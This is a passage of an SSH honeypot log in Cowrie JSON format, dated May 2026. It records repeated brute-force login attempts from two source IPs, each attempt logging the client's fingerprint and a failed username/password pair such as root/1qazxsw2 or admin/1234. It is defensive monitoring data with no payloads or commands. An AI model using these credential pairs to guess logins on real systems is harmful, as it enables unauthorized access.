{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:27.543977Z","src_ip":"47.86.95.62","session":"17c836b8c157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:30.588271Z","src_ip":"47.86.95.62","session":"17c836b8c157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:31.910656Z","src_ip":"47.86.95.62","session":"17c836b8c157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34704,"dst_ip":"10.17.0.5","dst_port":22,"session":"16f5000a55b0","protocol":"ssh","message":"New connection: 47.86.95.62:34704 (10.17.0.5:22) [session: 16f5000a55b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:33.158528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:33.184046Z","src_ip":"47.86.95.62","session":"16f5000a55b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:35.893003Z","src_ip":"47.86.95.62","session":"16f5000a55b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:42.795610Z","src_ip":"47.86.95.62","session":"16f5000a55b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:44.853678Z","src_ip":"47.86.95.62","session":"16f5000a55b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44314,"dst_ip":"10.17.0.5","dst_port":22,"session":"0991374e5c53","protocol":"ssh","message":"New connection: 47.86.95.62:44314 (10.17.0.5:22) [session: 0991374e5c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:50.383377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:50.388069Z","src_ip":"47.86.95.62","session":"0991374e5c53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:50.600662Z","src_ip":"47.86.95.62","session":"0991374e5c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:51.240735Z","src_ip":"47.86.95.62","session":"0991374e5c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:52.455459Z","src_ip":"47.86.95.62","session":"0991374e5c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45606,"dst_ip":"10.17.0.5","dst_port":22,"session":"724c27e691b5","protocol":"ssh","message":"New connection: 47.86.95.62:45606 (10.17.0.5:22) [session: 724c27e691b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:55.425791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:55.431236Z","src_ip":"47.86.95.62","session":"724c27e691b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:55.639748Z","src_ip":"47.86.95.62","session":"724c27e691b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:56.270715Z","src_ip":"47.86.95.62","session":"724c27e691b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:15:57.503773Z","src_ip":"47.86.95.62","session":"724c27e691b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45616,"dst_ip":"10.17.0.5","dst_port":22,"session":"180845d3643b","protocol":"ssh","message":"New connection: 47.86.95.62:45616 (10.17.0.5:22) [session: 180845d3643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:00.094471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:00.102822Z","src_ip":"47.86.95.62","session":"180845d3643b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:00.354308Z","src_ip":"47.86.95.62","session":"180845d3643b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:00.968724Z","src_ip":"47.86.95.62","session":"180845d3643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:03.114750Z","src_ip":"47.86.95.62","session":"180845d3643b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"e29a3e910788","protocol":"ssh","message":"New connection: 209.99.184.143:45536 (159.203.135.109:22) [session: e29a3e910788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:16.306307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:16.390503Z","src_ip":"209.99.184.143","session":"e29a3e910788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:16.478352Z","src_ip":"209.99.184.143","session":"e29a3e910788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:16.876584Z","src_ip":"209.99.184.143","session":"e29a3e910788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:17.972219Z","src_ip":"209.99.184.143","session":"e29a3e910788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58652,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac87d5ea2915","protocol":"ssh","message":"New connection: 47.86.95.62:58652 (10.17.0.5:22) [session: ac87d5ea2915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:41.208082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:41.213056Z","src_ip":"47.86.95.62","session":"ac87d5ea2915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:41.427701Z","src_ip":"47.86.95.62","session":"ac87d5ea2915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:42.207534Z","src_ip":"47.86.95.62","session":"ac87d5ea2915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:43.423862Z","src_ip":"47.86.95.62","session":"ac87d5ea2915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58660,"dst_ip":"10.17.0.5","dst_port":22,"session":"babd55f5387a","protocol":"ssh","message":"New connection: 47.86.95.62:58660 (10.17.0.5:22) [session: babd55f5387a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:47.806106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:47.809993Z","src_ip":"47.86.95.62","session":"babd55f5387a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:48.024670Z","src_ip":"47.86.95.62","session":"babd55f5387a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:48.659126Z","src_ip":"47.86.95.62","session":"babd55f5387a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:49.906948Z","src_ip":"47.86.95.62","session":"babd55f5387a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35910,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe799d737744","protocol":"ssh","message":"New connection: 47.86.95.62:35910 (10.17.0.5:22) [session: fe799d737744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:52.441494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:16:52.446005Z","src_ip":"47.86.95.62","session":"fe799d737744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 